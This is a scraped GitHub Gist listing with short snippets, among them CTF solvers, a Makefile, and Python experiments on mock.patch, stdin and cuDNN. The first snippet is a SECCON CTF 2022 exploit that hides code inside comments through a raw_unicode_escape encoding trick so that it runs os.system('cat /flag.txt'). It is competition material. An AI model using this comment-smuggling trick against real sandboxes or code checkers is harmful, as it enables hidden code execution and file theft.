Skip to content

Instantly share code, notes, and snippets.

@bonprosoft
bonprosoft / exploit.py
Created November 13, 2022 10:06
SECCON CTF 2022 Quals - latexipy writeup
# coding: raw_unicode_escape
#\u000aimport os
#\u000aos.system("cat /flag.txt")
def hoge():
return 42
__EOF__
@bonprosoft
bonprosoft / Makefile
Created July 20, 2022 00:56
Makefile for buf.build
BASE_DIR := $(dir $(realpath $(lastword $(MAKEFILE_LIST))))
define BUF
@docker run --volume "$(BASE_DIR):/workspace" -e HOME=/tmp --workdir /workspace -u `id -u`:`id -g` bufbuild/buf $(1)
endef
.PHONY: all generate lint
all: generate
@bonprosoft
bonprosoft / tile_video.py
Created June 27, 2022 15:37
Create a tiled layout video
import argparse
import itertools
import os
import pathlib
import shlex
from typing import List
def _accumulated_size(idx: int, prefix: str) -> str:
if idx == 0:
@bonprosoft
bonprosoft / solve_sandstorm.py
Last active October 20, 2019 09:00
SECCON 2019 Online CTF: sandstorm
import cv2
import numpy
image = cv2.imread('./sandstorm.png')
height, width = image.shape[:2]
new_height = height // 8
new_width = width // 8
new_image = numpy.zeros((new_height, new_width, 3))
@bonprosoft
bonprosoft / solve_repair.py
Last active October 20, 2019 09:01
SECCON 2019 Online CTF: repair
import argparse
import fractions
import io
from itertools import count
from av import Codec
from av.packet import Packet
class Decoder:
@bonprosoft
bonprosoft / fuga.py
Last active September 20, 2019 17:46
mock.patch 検証2
import hoge
from hoge import A
def print_value():
instance = A()
print(instance.value)
def print_value2():
@bonprosoft
bonprosoft / hoge.py
Created September 20, 2019 17:29
mock.patchの検証
import threading
import time
from unittest import mock
class Hoge:
b = 10
a = Hoge()
@bonprosoft
bonprosoft / stdin_iter.py
Last active August 28, 2018 13:37
sys.stdinの挙動の違い
import sys
for x in sys.stdin:
sys.stdout.write('stdin: {}'.format(x))
sys.stdout.flush()
"""Output.
[py36]
hoge
import cProfile
import random
import cupy
from cupy import cudnn
libcudnn = cudnn.cudnn
N_LAYER = 10
N_TESTCASE = 1000
@bonprosoft
bonprosoft / result
Last active September 11, 2017 07:35
Validation of cuDNN dropout function behavior
False
True